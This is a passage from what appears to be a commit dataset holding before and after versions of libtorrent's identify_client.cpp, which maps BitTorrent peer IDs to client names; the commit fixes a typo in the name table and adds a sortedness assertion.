BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n*\/\n\n#include <cctype>\n\n#ifdef _MSC_VER\n#pragma warning(push, 1)\n#endif\n\n#include <boost\/optional.hpp>\n\n#ifdef _MSC_VER\n#pragma warning(pop)\n#endif\n\n#include \"libtorrent\/identify_client.hpp\"\n#include \"libtorrent\/fingerprint.hpp\"\n\n#if defined(_MSC_VER) && _MSC_VER < 1300\nnamespace std\n{\n\tusing ::isprint;\n\tusing ::isdigit;\n\tusing ::toupper;\n\tusing ::isalnum;\n}\n#endif\n\nnamespace\n{\n\n\tusing namespace libtorrent;\n\n\tint decode_digit(char c)\n\t{\n\t\tif (std::isdigit(c)) return c - '0';\n\t\treturn std::toupper(c) - 'A' + 10;\n\t}\n\n\t\/\/ takes a peer id and returns a valid boost::optional\n\t\/\/ object if the peer id matched the azureus style encoding\n\t\/\/ the returned fingerprint contains information about the\n\t\/\/ client's id\n\tboost::optional<fingerprint> parse_az_style(const peer_id& id)\n\t{\n\t\tfingerprint ret(\"..\", 0, 0, 0, 0);\n\n\t\tif (id[0] != '-' || !std::isprint(id[1]) || !std::isprint(id[2])\n\t\t\t|| !std::isalnum(id[3]) || !std::isalnum(id[4])\n\t\t\t|| !std::isalnum(id[5]) || !std::isalnum(id[6])\n\t\t\t|| id[7] != '-')\n\t\t\treturn boost::optional<fingerprint>();\n\n\t\tret.id[0] = id[1];\n\t\tret.id[1] = id[2];\n\t\tret.major_version = decode_digit(id[3]);\n\t\tret.minor_version = decode_digit(id[4]);\n\t\tret.revision_version = decode_digit(id[5]);\n\t\tret.tag_version = decode_digit(id[6]);\n\n\t\treturn boost::optional<fingerprint>(ret);\n\t}\n\n\t\/\/ checks if a peer id can possibly contain a shadow-style\n\t\/\/ identification\n\tboost::optional<fingerprint> parse_shadow_style(const peer_id& id)\n\t{\n\t\tfingerprint ret(\"..\", 0, 0, 0, 0);\n\n\t\tif (!std::isalnum(id[0]))\n\t\t\treturn boost::optional<fingerprint>();\n\n\t\tif (std::equal(id.begin()+4, id.begin()+8, \"----\"))\n\t\t{\n\t\t\tif (!std::isalnum(id[1]) || !std::isalnum(id[2])\n\t\t\t\t|| !std::isalnum(id[3]))\n\t\t\t\treturn boost::optional<fingerprint>();\n\t\t\tret.major_version = decode_digit(id[1]);\n\t\t\tret.minor_version = decode_digit(id[2]);\n\t\t\tret.revision_version = decode_digit(id[3]);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tif (id[8] != 0 || id[1] > 127 || id[2] > 127 || id[3] > 127)\n\t\t\t\treturn boost::optional<fingerprint>();\n\t\t\tret.major_version = id[1];\n\t\t\tret.minor_version = id[2];\n\t\t\tret.revision_version = id[3];\n\t\t}\n\n\t\tret.id[0] = id[0];\n\t\tret.id[1] = 0;\n\n\t\tret.tag_version = 0;\n\t\treturn boost::optional<fingerprint>(ret);\n\t}\n\n\t\/\/ checks if a peer id can possibly contain a mainline-style\n\t\/\/ identification\n\tboost::optional<fingerprint> parse_mainline_style(const peer_id& id)\n\t{\n\t\tif (!std::isprint(id[0])\n\t\t\t|| !std::isalnum(id[1])\n\t\t\t|| id[2] != '-'\n\t\t\t|| !std::isalnum(id[3])\n\t\t\t|| id[4] != '-'\n\t\t\t|| !std::isalnum(id[5])\n\t\t\t|| !std::equal(id.begin() + 6, id.begin() + 8, \"--\"))\n\t\t\treturn boost::optional<fingerprint>();\n\n\t\tfingerprint ret(\"..\", 0, 0, 0, 0);\n\n\t\tret.id[0] = id[0];\n\t\tret.id[1] = 0;\n\t\tret.major_version = decode_digit(id[1]);\n\t\tret.minor_version = decode_digit(id[3]);\n\t\tret.revision_version = decode_digit(id[5]);\n\t\tret.tag_version = 0;\n\t\treturn boost::optional<fingerprint>(ret);\n\t}\n\n\ttypedef std::pair<char const*, char const*> map_entry;\n\n\t\/\/ only support BitTorrentSpecification\n\t\/\/ must be ordered alphabetically\n\tmap_entry name_map[] =\n\t{\n\t\tmap_entry(\"A\",  \"ABC\")\n\t\t, map_entry(\"AR\", \"Arctic Torrent\")\n\t\t, map_entry(\"AZ\", \"Azureus\")\n\t\t, map_entry(\"BB\", \"BitBuddy\")\n\t\t, map_entry(\"BS\", \"BTSlave\")\n\t\t, map_entry(\"BX\", \"BittorrentX\")\n\t\t, map_entry(\"CT\", \"CTorrent\")\n\t\t, map_entry(\"LT\", \"libtorrent\")\n\t\t, map_entry(\"M\",  \"Mainline\")\n\t\t. map_emtry(\"MP\", \"MooPolice\")\n\t\t, map_entry(\"MT\", \"Moonlight Torrent\")\n\t\t, map_entry(\"S\",  \"Shadow\")\n\t\t, map_entry(\"SN\", \"ShareNet\")\n\t\t, map_entry(\"SS\", \"SwarmScope\")\n\t\t, map_entry(\"T\",  \"BitTornado\")\n\t\t, map_entry(\"TN\", \"Torrent.NET\")\n\t\t, map_entry(\"TS\", \"TorrentStorm\")\n\t\t, map_entry(\"U\",  \"UPnP\")\n\t\t, map_entry(\"XT\", \"XanTorrent\")\n\t\t, map_entry(\"ZT\", \"ZipTorrent\")\n\t};\n\n\tbool compare_first_string(map_entry const& e, char const* str)\n\t{\n\t\treturn e.first[0] < str[0]\n\t\t\t|| ((e.first[0] == str[0]) && (e.first[1] < str[1]));\n\t}\n\n\tstd::string lookup(fingerprint const& f)\n\t{\n\t\tstd::stringstream identity;\n\n\t\tconst int size = sizeof(name_map)\/sizeof(name_map[0]);\n\t\tmap_entry* i =\n\t\t\tstd::lower_bound(name_map, name_map + size\n\t\t\t\t, f.id, &compare_first_string);\n\n\t\tif (i < name_map + size && std::equal(f.id, f.id + 2, i->first))\n\t\t\tidentity << i->second;\n\t\telse\n\t\t\tidentity << std::string(f.id, f.id + 2);\n\n\t\tidentity << \" \" << (int)f.major_version\n\t\t\t<< \".\" << (int)f.minor_version\n\t\t\t<< \".\" << (int)f.revision_version\n\t\t\t<< \".\" << (int)f.tag_version;\n\n\t\treturn identity.str();\n\t}\n\n\tbool find_string(unsigned char const* id, char const* search)\n\t{\n\t\treturn std::equal(search, search + std::strlen(search), id);\n\t}\n}\n\nnamespace libtorrent\n{\n\n\tstd::string identify_client(const peer_id& p)\n\t{\n\t\tpeer_id::const_iterator PID = p.begin();\n\t\tboost::optional<fingerprint> f;\n\n\t\tif (p.is_all_zeros()) return \"Unknown\";\n\n\t\t\/\/ ----------------------\n\t\t\/\/ non standard encodings\n\t\t\/\/ ----------------------\n\n\t\tif (find_string(PID, \"Deadman Walking-\")) return \"Deadman\";\n\t\tif (find_string(PID + 5, \"Azureus\")) return \"Azureus 2.0.3.2\";\n\t\tif (find_string(PID, \"DansClient\")) return \"XanTorrent\";\n\t\tif (find_string(PID + 4, \"btfans\")) return \"SimpleBT\";\n\t\tif (find_string(PID, \"PRC.P---\")) return \"Bittorrent Plus! II\";\n\t\tif (find_string(PID, \"P87.P---\")) return \"Bittorrent Plus!\";\n\t\tif (find_string(PID, \"S587Plus\")) return \"Bittorrent Plus!\";\n\t\tif (find_string(PID, \"martini\")) return \"Martini Man\";\n\t\tif (find_string(PID, \"Plus---\")) return \"Bittorrent Plus\";\n\t\tif (find_string(PID, \"turbobt\")) return \"TurboBT\";\n\t\tif (find_string(PID, \"a00---0\")) return \"Swarmy\";\n\t\tif (find_string(PID, \"a02---0\")) return \"Swarmy\";\n\t\tif (find_string(PID, \"T00---0\")) return \"Teeweety\";\n\t\tif (find_string(PID, \"BTDWV-\")) return \"Deadman Walking\";\n\t\tif (find_string(PID + 2, \"BS\")) return \"BitSpirit\";\n\t\tif (find_string(PID, \"btuga\")) return \"BTugaXP\";\n\t\tif (find_string(PID, \"oernu\")) return \"BTugaXP\";\n\t\tif (find_string(PID, \"Mbrst\")) return \"Burst!\";\n\t\tif (find_string(PID, \"Plus\")) return \"Plus!\";\n\t\tif (find_string(PID, \"exbc\")) return \"BitComet\";\n\t\tif (find_string(PID, \"-G3\")) return \"G3 Torrent\";\n\t\tif (find_string(PID, \"XBT\")) return \"XBT\";\n\n\t\tif (find_string(PID, \"-BOW\") && PID[7] == '-')\n\t\t\treturn \"Bits on Wheels \" + std::string(PID + 4, PID + 7);\n\t\t\n\t\tif (find_string(PID, \"eX\"))\n\t\t{\n\t\t\tstd::string user(PID + 2, PID + 14);\n\t\t\treturn std::string(\"eXeem ('\") + user.c_str() + \"')\"; \n\t\t}\n\n\t\tif (std::equal(PID, PID + 13, \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\x97\"))\n\t\t\treturn \"Experimental 3.2.1b2\";\n\n\t\tif (std::equal(PID, PID + 13, \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"))\n\t\t\treturn \"Experimental 3.1\";\n\n      if (p.is_all_zeros()) return \"Unknown\";\n\n\t\t\n\t\t\/\/ look for azureus style id\n\t\tf = parse_az_style(p);\n\t\tif (f) return lookup(*f);\n\n\t\t\/\/ look for shadow style id\n\t\tf = parse_shadow_style(p);\n\t\tif (f) return lookup(*f);\n\n\t\t\/\/ look for mainline style id\n\t\tf = parse_mainline_style(p);\n\t\tif (f) return lookup(*f);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\n\t\tif (std::equal(PID, PID + 12, \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"))\n\t\t\treturn \"Generic\";\n\n\t\tstd::string unknown(\"Unknown [\");\n\t\tfor (peer_id::const_iterator i = p.begin(); i != p.end(); ++i)\n\t\t{\n\t\t\tunknown += std::isprint(*i)?*i:'.';\n\t\t}\n\t\tunknown += \"]\";\n\t\treturn unknown;\n\t}\n\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n\nCopyright (c) 2003, Arvid Norberg\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions\nare met:\n\n    * Redistributions of source code must retain the above copyright\n      notice, this list of conditions and the following disclaimer.\n    * Redistributions in binary form must reproduce the above copyright\n      notice, this list of conditions and the following disclaimer in\n      the documentation and\/or other materials provided with the distribution.\n    * Neither the name of the author nor the names of its\n      contributors may be used to endorse or promote products derived\n      from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n*\/\n\n#include <cctype>\n\n#ifdef _MSC_VER\n#pragma warning(push, 1)\n#endif\n\n#include <boost\/optional.hpp>\n\n#ifdef _MSC_VER\n#pragma warning(pop)\n#endif\n\n#include \"libtorrent\/identify_client.hpp\"\n#include \"libtorrent\/fingerprint.hpp\"\n\n#if defined(_MSC_VER) && _MSC_VER < 1300\nnamespace std\n{\n\tusing ::isprint;\n\tusing ::isdigit;\n\tusing ::toupper;\n\tusing ::isalnum;\n}\n#endif\n\nnamespace\n{\n\n\tusing namespace libtorrent;\n\n\tint decode_digit(char c)\n\t{\n\t\tif (std::isdigit(c)) return c - '0';\n\t\treturn std::toupper(c) - 'A' + 10;\n\t}\n\n\t\/\/ takes a peer id and returns a valid boost::optional\n\t\/\/ object if the peer id matched the azureus style encoding\n\t\/\/ the returned fingerprint contains information about the\n\t\/\/ client's id\n\tboost::optional<fingerprint> parse_az_style(const peer_id& id)\n\t{\n\t\tfingerprint ret(\"..\", 0, 0, 0, 0);\n\n\t\tif (id[0] != '-' || !std::isprint(id[1]) || !std::isprint(id[2])\n\t\t\t|| !std::isalnum(id[3]) || !std::isalnum(id[4])\n\t\t\t|| !std::isalnum(id[5]) || !std::isalnum(id[6])\n\t\t\t|| id[7] != '-')\n\t\t\treturn boost::optional<fingerprint>();\n\n\t\tret.id[0] = id[1];\n\t\tret.id[1] = id[2];\n\t\tret.major_version = decode_digit(id[3]);\n\t\tret.minor_version = decode_digit(id[4]);\n\t\tret.revision_version = decode_digit(id[5]);\n\t\tret.tag_version = decode_digit(id[6]);\n\n\t\treturn boost::optional<fingerprint>(ret);\n\t}\n\n\t\/\/ checks if a peer id can possibly contain a shadow-style\n\t\/\/ identification\n\tboost::optional<fingerprint> parse_shadow_style(const peer_id& id)\n\t{\n\t\tfingerprint ret(\"..\", 0, 0, 0, 0);\n\n\t\tif (!std::isalnum(id[0]))\n\t\t\treturn boost::optional<fingerprint>();\n\n\t\tif (std::equal(id.begin()+4, id.begin()+8, \"----\"))\n\t\t{\n\t\t\tif (!std::isalnum(id[1]) || !std::isalnum(id[2])\n\t\t\t\t|| !std::isalnum(id[3]))\n\t\t\t\treturn boost::optional<fingerprint>();\n\t\t\tret.major_version = decode_digit(id[1]);\n\t\t\tret.minor_version = decode_digit(id[2]);\n\t\t\tret.revision_version = decode_digit(id[3]);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tif (id[8] != 0 || id[1] > 127 || id[2] > 127 || id[3] > 127)\n\t\t\t\treturn boost::optional<fingerprint>();\n\t\t\tret.major_version = id[1];\n\t\t\tret.minor_version = id[2];\n\t\t\tret.revision_version = id[3];\n\t\t}\n\n\t\tret.id[0] = id[0];\n\t\tret.id[1] = 0;\n\n\t\tret.tag_version = 0;\n\t\treturn boost::optional<fingerprint>(ret);\n\t}\n\n\t\/\/ checks if a peer id can possibly contain a mainline-style\n\t\/\/ identification\n\tboost::optional<fingerprint> parse_mainline_style(const peer_id& id)\n\t{\n\t\tif (!std::isprint(id[0])\n\t\t\t|| !std::isalnum(id[1])\n\t\t\t|| id[2] != '-'\n\t\t\t|| !std::isalnum(id[3])\n\t\t\t|| id[4] != '-'\n\t\t\t|| !std::isalnum(id[5])\n\t\t\t|| !std::equal(id.begin() + 6, id.begin() + 8, \"--\"))\n\t\t\treturn boost::optional<fingerprint>();\n\n\t\tfingerprint ret(\"..\", 0, 0, 0, 0);\n\n\t\tret.id[0] = id[0];\n\t\tret.id[1] = 0;\n\t\tret.major_version = decode_digit(id[1]);\n\t\tret.minor_version = decode_digit(id[3]);\n\t\tret.revision_version = decode_digit(id[5]);\n\t\tret.tag_version = 0;\n\t\treturn boost::optional<fingerprint>(ret);\n\t}\n\n\ttypedef std::pair<char const*, char const*> map_entry;\n\n\t\/\/ only support BitTorrentSpecification\n\t\/\/ must be ordered alphabetically\n\tmap_entry name_map[] =\n\t{\n\t\tmap_entry(\"A\",  \"ABC\")\n\t\t, map_entry(\"AR\", \"Arctic Torrent\")\n\t\t, map_entry(\"AZ\", \"Azureus\")\n\t\t, map_entry(\"BB\", \"BitBuddy\")\n\t\t, map_entry(\"BS\", \"BTSlave\")\n\t\t, map_entry(\"BX\", \"BittorrentX\")\n\t\t, map_entry(\"CT\", \"CTorrent\")\n\t\t, map_entry(\"LT\", \"libtorrent\")\n\t\t, map_entry(\"M\",  \"Mainline\")\n\t\t. map_emtry(\"MP\", \"MooPolice\")\n\t\t, map_entry(\"MT\", \"Moonlight Torrent\")\n\t\t, map_entry(\"S\",  \"Shadow\")\n\t\t, map_entry(\"SN\", \"ShareNet\")\n\t\t, map_entry(\"SS\", \"SwarmScope\")\n\t\t, map_entry(\"T\",  \"BitTornado\")\n\t\t, map_entry(\"TN\", \"Torrent.NET\")\n\t\t, map_entry(\"TS\", \"TorrentStorm\")\n\t\t, map_entry(\"U\",  \"UPnP\")\n\t\t, map_entry(\"XT\", \"XanTorrent\")\n\t\t, map_entry(\"ZT\", \"ZipTorrent\")\n\t};\n\n\tbool compare_first_string(map_entry const& e, char const* str)\n\t{\n\t\treturn e.first[0] < str[0]\n\t\t\t|| ((e.first[0] == str[0]) && (e.first[1] < str[1]));\n\t}\n\n\tstd::string lookup(fingerprint const& f)\n\t{\n\t\tstd::stringstream identity;\n\n\t\tconst int size = sizeof(name_map)\/sizeof(name_map[0]);\n\t\tmap_entry* i =\n\t\t\tstd::lower_bound(name_map, name_map + size\n\t\t\t\t, f.id, &compare_first_string);\n\n\t\tif (i < name_map + size && std::equal(f.id, f.id + 2, i->first))\n\t\t\tidentity << i->second;\n\t\telse\n\t\t\tidentity << std::string(f.id, f.id + 2);\n\n\t\tidentity << \" \" << (int)f.major_version\n\t\t\t<< \".\" << (int)f.minor_version\n\t\t\t<< \".\" << (int)f.revision_version\n\t\t\t<< \".\" << (int)f.tag_version;\n\n\t\treturn identity.str();\n\t}\n\n\tbool find_string(unsigned char const* id, char const* search)\n\t{\n\t\treturn std::equal(search, search + std::strlen(search), id);\n\t}\n}\n\nnamespace libtorrent\n{\n\n\tstd::string identify_client(const peer_id& p)\n\t{\n\t\tpeer_id::const_iterator PID = p.begin();\n\t\tboost::optional<fingerprint> f;\n\n\t\tif (p.is_all_zeros()) return \"Unknown\";\n\n\t\t\/\/ ----------------------\n\t\t\/\/ non standard encodings\n\t\t\/\/ ----------------------\n\n\t\tif (find_string(PID, \"Deadman Walking-\")) return \"Deadman\";\n\t\tif (find_string(PID + 5, \"Azureus\")) return \"Azureus 2.0.3.2\";\n\t\tif (find_string(PID, \"DansClient\")) return \"XanTorrent\";\n\t\tif (find_string(PID + 4, \"btfans\")) return \"SimpleBT\";\n\t\tif (find_string(PID, \"PRC.P---\")) return \"Bittorrent Plus! II\";\n\t\tif (find_string(PID, \"P87.P---\")) return \"Bittorrent Plus!\";\n\t\tif (find_string(PID, \"S587Plus\")) return \"Bittorrent Plus!\";\n\t\tif (find_string(PID, \"martini\")) return \"Martini Man\";\n\t\tif (find_string(PID, \"Plus---\")) return \"Bittorrent Plus\";\n\t\tif (find_string(PID, \"turbobt\")) return \"TurboBT\";\n\t\tif (find_string(PID, \"a00---0\")) return \"Swarmy\";\n\t\tif (find_string(PID, \"a02---0\")) return \"Swarmy\";\n\t\tif (find_string(PID, \"T00---0\")) return \"Teeweety\";\n\t\tif (find_string(PID, \"BTDWV-\")) return \"Deadman Walking\";\n\t\tif (find_string(PID + 2, \"BS\")) return \"BitSpirit\";\n\t\tif (find_string(PID, \"btuga\")) return \"BTugaXP\";\n\t\tif (find_string(PID, \"oernu\")) return \"BTugaXP\";\n\t\tif (find_string(PID, \"Mbrst\")) return \"Burst!\";\n\t\tif (find_string(PID, \"Plus\")) return \"Plus!\";\n\t\tif (find_string(PID, \"exbc\")) return \"BitComet\";\n\t\tif (find_string(PID, \"-G3\")) return \"G3 Torrent\";\n\t\tif (find_string(PID, \"XBT\")) return \"XBT\";\n\n\t\tif (find_string(PID, \"-BOW\") && PID[7] == '-')\n\t\t\treturn \"Bits on Wheels \" + std::string(PID + 4, PID + 7);\n\t\t\n\t\tif (find_string(PID, \"eX\"))\n\t\t{\n\t\t\tstd::string user(PID + 2, PID + 14);\n\t\t\treturn std::string(\"eXeem ('\") + user.c_str() + \"')\"; \n\t\t}\n\n\t\tif (std::equal(PID, PID + 13, \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\x97\"))\n\t\t\treturn \"Experimental 3.2.1b2\";\n\n\t\tif (std::equal(PID, PID + 13, \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"))\n\t\t\treturn \"Experimental 3.1\";\n\n      if (p.is_all_zeros()) return \"Unknown\";\n\n\t\t\n\t\t\/\/ look for azureus style id\n\t\tf = parse_az_style(p);\n\t\tif (f) return lookup(*f);\n\n\t\t\/\/ look for shadow style id\n\t\tf = parse_shadow_style(p);\n\t\tif (f) return lookup(*f);\n\n\t\t\/\/ look for mainline style id\n\t\tf = parse_mainline_style(p);\n\t\tif (f) return lookup(*f);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\n\t\tif (std::equal(PID, PID + 12, \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"))\n\t\t\treturn \"Generic\";\n\n\t\tstd::string unknown(\"Unknown [\");\n\t\tfor (peer_id::const_iterator i = p.begin(); i != p.end(); ++i)\n\t\t{\n\t\t\tunknown += std::isprint(*i)?*i:'.';\n\t\t}\n\t\tunknown += \"]\";\n\t\treturn unknown;\n\t}\n\n}\n<commit_msg>*** empty log message ***<commit_after>\/*\n\nCopyright (c) 2003, Arvid Norberg\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions\nare met:\n\n    * Redistributions of source code must retain the above copyright\n      notice, this list of conditions and the following disclaimer.\n    * Redistributions in binary form must reproduce the above copyright\n      notice, this list of conditions and the following disclaimer in\n      the documentation and\/or other materials provided with the distribution.\n    * Neither the name of the author nor the names of its\n      contributors may be used to endorse or promote products derived\n      from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n*\/\n\n#include <cctype>\n#include <algorithm>\n\n#ifdef _MSC_VER\n#pragma warning(push, 1)\n#endif\n\n#include <boost\/optional.hpp>\n\n#ifdef _MSC_VER\n#pragma warning(pop)\n#endif\n\n#include \"libtorrent\/identify_client.hpp\"\n#include \"libtorrent\/fingerprint.hpp\"\n\n#if defined(_MSC_VER) && _MSC_VER < 1300\nnamespace std\n{\n\tusing ::isprint;\n\tusing ::isdigit;\n\tusing ::toupper;\n\tusing ::isalnum;\n}\n#endif\n\nnamespace\n{\n\n\tusing namespace libtorrent;\n\n\tint decode_digit(char c)\n\t{\n\t\tif (std::isdigit(c)) return c - '0';\n\t\treturn std::toupper(c) - 'A' + 10;\n\t}\n\n\t\/\/ takes a peer id and returns a valid boost::optional\n\t\/\/ object if the peer id matched the azureus style encoding\n\t\/\/ the returned fingerprint contains information about the\n\t\/\/ client's id\n\tboost::optional<fingerprint> parse_az_style(const peer_id& id)\n\t{\n\t\tfingerprint ret(\"..\", 0, 0, 0, 0);\n\n\t\tif (id[0] != '-' || !std::isprint(id[1]) || !std::isprint(id[2])\n\t\t\t|| !std::isalnum(id[3]) || !std::isalnum(id[4])\n\t\t\t|| !std::isalnum(id[5]) || !std::isalnum(id[6])\n\t\t\t|| id[7] != '-')\n\t\t\treturn boost::optional<fingerprint>();\n\n\t\tret.id[0] = id[1];\n\t\tret.id[1] = id[2];\n\t\tret.major_version = decode_digit(id[3]);\n\t\tret.minor_version = decode_digit(id[4]);\n\t\tret.revision_version = decode_digit(id[5]);\n\t\tret.tag_version = decode_digit(id[6]);\n\n\t\treturn boost::optional<fingerprint>(ret);\n\t}\n\n\t\/\/ checks if a peer id can possibly contain a shadow-style\n\t\/\/ identification\n\tboost::optional<fingerprint> parse_shadow_style(const peer_id& id)\n\t{\n\t\tfingerprint ret(\"..\", 0, 0, 0, 0);\n\n\t\tif (!std::isalnum(id[0]))\n\t\t\treturn boost::optional<fingerprint>();\n\n\t\tif (std::equal(id.begin()+4, id.begin()+8, \"----\"))\n\t\t{\n\t\t\tif (!std::isalnum(id[1]) || !std::isalnum(id[2])\n\t\t\t\t|| !std::isalnum(id[3]))\n\t\t\t\treturn boost::optional<fingerprint>();\n\t\t\tret.major_version = decode_digit(id[1]);\n\t\t\tret.minor_version = decode_digit(id[2]);\n\t\t\tret.revision_version = decode_digit(id[3]);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tif (id[8] != 0 || id[1] > 127 || id[2] > 127 || id[3] > 127)\n\t\t\t\treturn boost::optional<fingerprint>();\n\t\t\tret.major_version = id[1];\n\t\t\tret.minor_version = id[2];\n\t\t\tret.revision_version = id[3];\n\t\t}\n\n\t\tret.id[0] = id[0];\n\t\tret.id[1] = 0;\n\n\t\tret.tag_version = 0;\n\t\treturn boost::optional<fingerprint>(ret);\n\t}\n\n\t\/\/ checks if a peer id can possibly contain a mainline-style\n\t\/\/ identification\n\tboost::optional<fingerprint> parse_mainline_style(const peer_id& id)\n\t{\n\t\tif (!std::isprint(id[0])\n\t\t\t|| !std::isalnum(id[1])\n\t\t\t|| id[2] != '-'\n\t\t\t|| !std::isalnum(id[3])\n\t\t\t|| id[4] != '-'\n\t\t\t|| !std::isalnum(id[5])\n\t\t\t|| !std::equal(id.begin() + 6, id.begin() + 8, \"--\"))\n\t\t\treturn boost::optional<fingerprint>();\n\n\t\tfingerprint ret(\"..\", 0, 0, 0, 0);\n\n\t\tret.id[0] = id[0];\n\t\tret.id[1] = 0;\n\t\tret.major_version = decode_digit(id[1]);\n\t\tret.minor_version = decode_digit(id[3]);\n\t\tret.revision_version = decode_digit(id[5]);\n\t\tret.tag_version = 0;\n\t\treturn boost::optional<fingerprint>(ret);\n\t}\n\n\ttypedef std::pair<char const*, char const*> map_entry;\n\n\t\/\/ only support BitTorrentSpecification\n\t\/\/ must be ordered alphabetically\n\tmap_entry name_map[] =\n\t{\n\t\tmap_entry(\"A\",  \"ABC\")\n\t\t, map_entry(\"AR\", \"Arctic Torrent\")\n\t\t, map_entry(\"AZ\", \"Azureus\")\n\t\t, map_entry(\"BB\", \"BitBuddy\")\n\t\t, map_entry(\"BS\", \"BTSlave\")\n\t\t, map_entry(\"BX\", \"BittorrentX\")\n\t\t, map_entry(\"CT\", \"CTorrent\")\n\t\t, map_entry(\"LT\", \"libtorrent\")\n\t\t, map_entry(\"M\",  \"Mainline\")\n\t\t, map_entry(\"MP\", \"MooPolice\")\n\t\t, map_entry(\"MT\", \"Moonlight Torrent\")\n\t\t, map_entry(\"S\",  \"Shadow\")\n\t\t, map_entry(\"SN\", \"ShareNet\")\n\t\t, map_entry(\"SS\", \"SwarmScope\")\n\t\t, map_entry(\"T\",  \"BitTornado\")\n\t\t, map_entry(\"TN\", \"Torrent.NET\")\n\t\t, map_entry(\"TS\", \"TorrentStorm\")\n\t\t, map_entry(\"U\",  \"UPnP\")\n\t\t, map_entry(\"XT\", \"XanTorrent\")\n\t\t, map_entry(\"ZT\", \"ZipTorrent\")\n\t};\n\n\tbool compare_first_string(map_entry const& e, char const* str)\n\t{\n\t\treturn e.first[0] < str[0]\n\t\t\t|| ((e.first[0] == str[0]) && (e.first[1] < str[1]));\n\t}\n\n\tstd::string lookup(fingerprint const& f)\n\t{\n\t\tstd::stringstream identity;\n\n\t\tconst int size = sizeof(name_map)\/sizeof(name_map[0]);\n\t\tmap_entry* i =\n\t\t\tstd::lower_bound(name_map, name_map + size\n\t\t\t\t, f.id, &compare_first_string);\n\n#ifndef NDEBUG\n\t\tfor (int i = 1; i < size; ++i)\n\t\t{\n\t\t\tassert(compare_first_string(name_map[i-1]\n\t\t\t\t, name_map[i].first));\n\t\t}\n#endif\n\n\t\tif (i < name_map + size && std::equal(f.id, f.id + 2, i->first))\n\t\t\tidentity << i->second;\n\t\telse\n\t\t\tidentity << std::string(f.id, f.id + 2);\n\n\t\tidentity << \" \" << (int)f.major_version\n\t\t\t<< \".\" << (int)f.minor_version\n\t\t\t<< \".\" << (int)f.revision_version\n\t\t\t<< \".\" << (int)f.tag_version;\n\n\t\treturn identity.str();\n\t}\n\n\tbool find_string(unsigned char const* id, char const* search)\n\t{\n\t\treturn std::equal(search, search + std::strlen(search), id);\n\t}\n}\n\nnamespace libtorrent\n{\n\n\tstd::string identify_client(const peer_id& p)\n\t{\n\t\tpeer_id::const_iterator PID = p.begin();\n\t\tboost::optional<fingerprint> f;\n\n\t\tif (p.is_all_zeros()) return \"Unknown\";\n\n\t\t\/\/ ----------------------\n\t\t\/\/ non standard 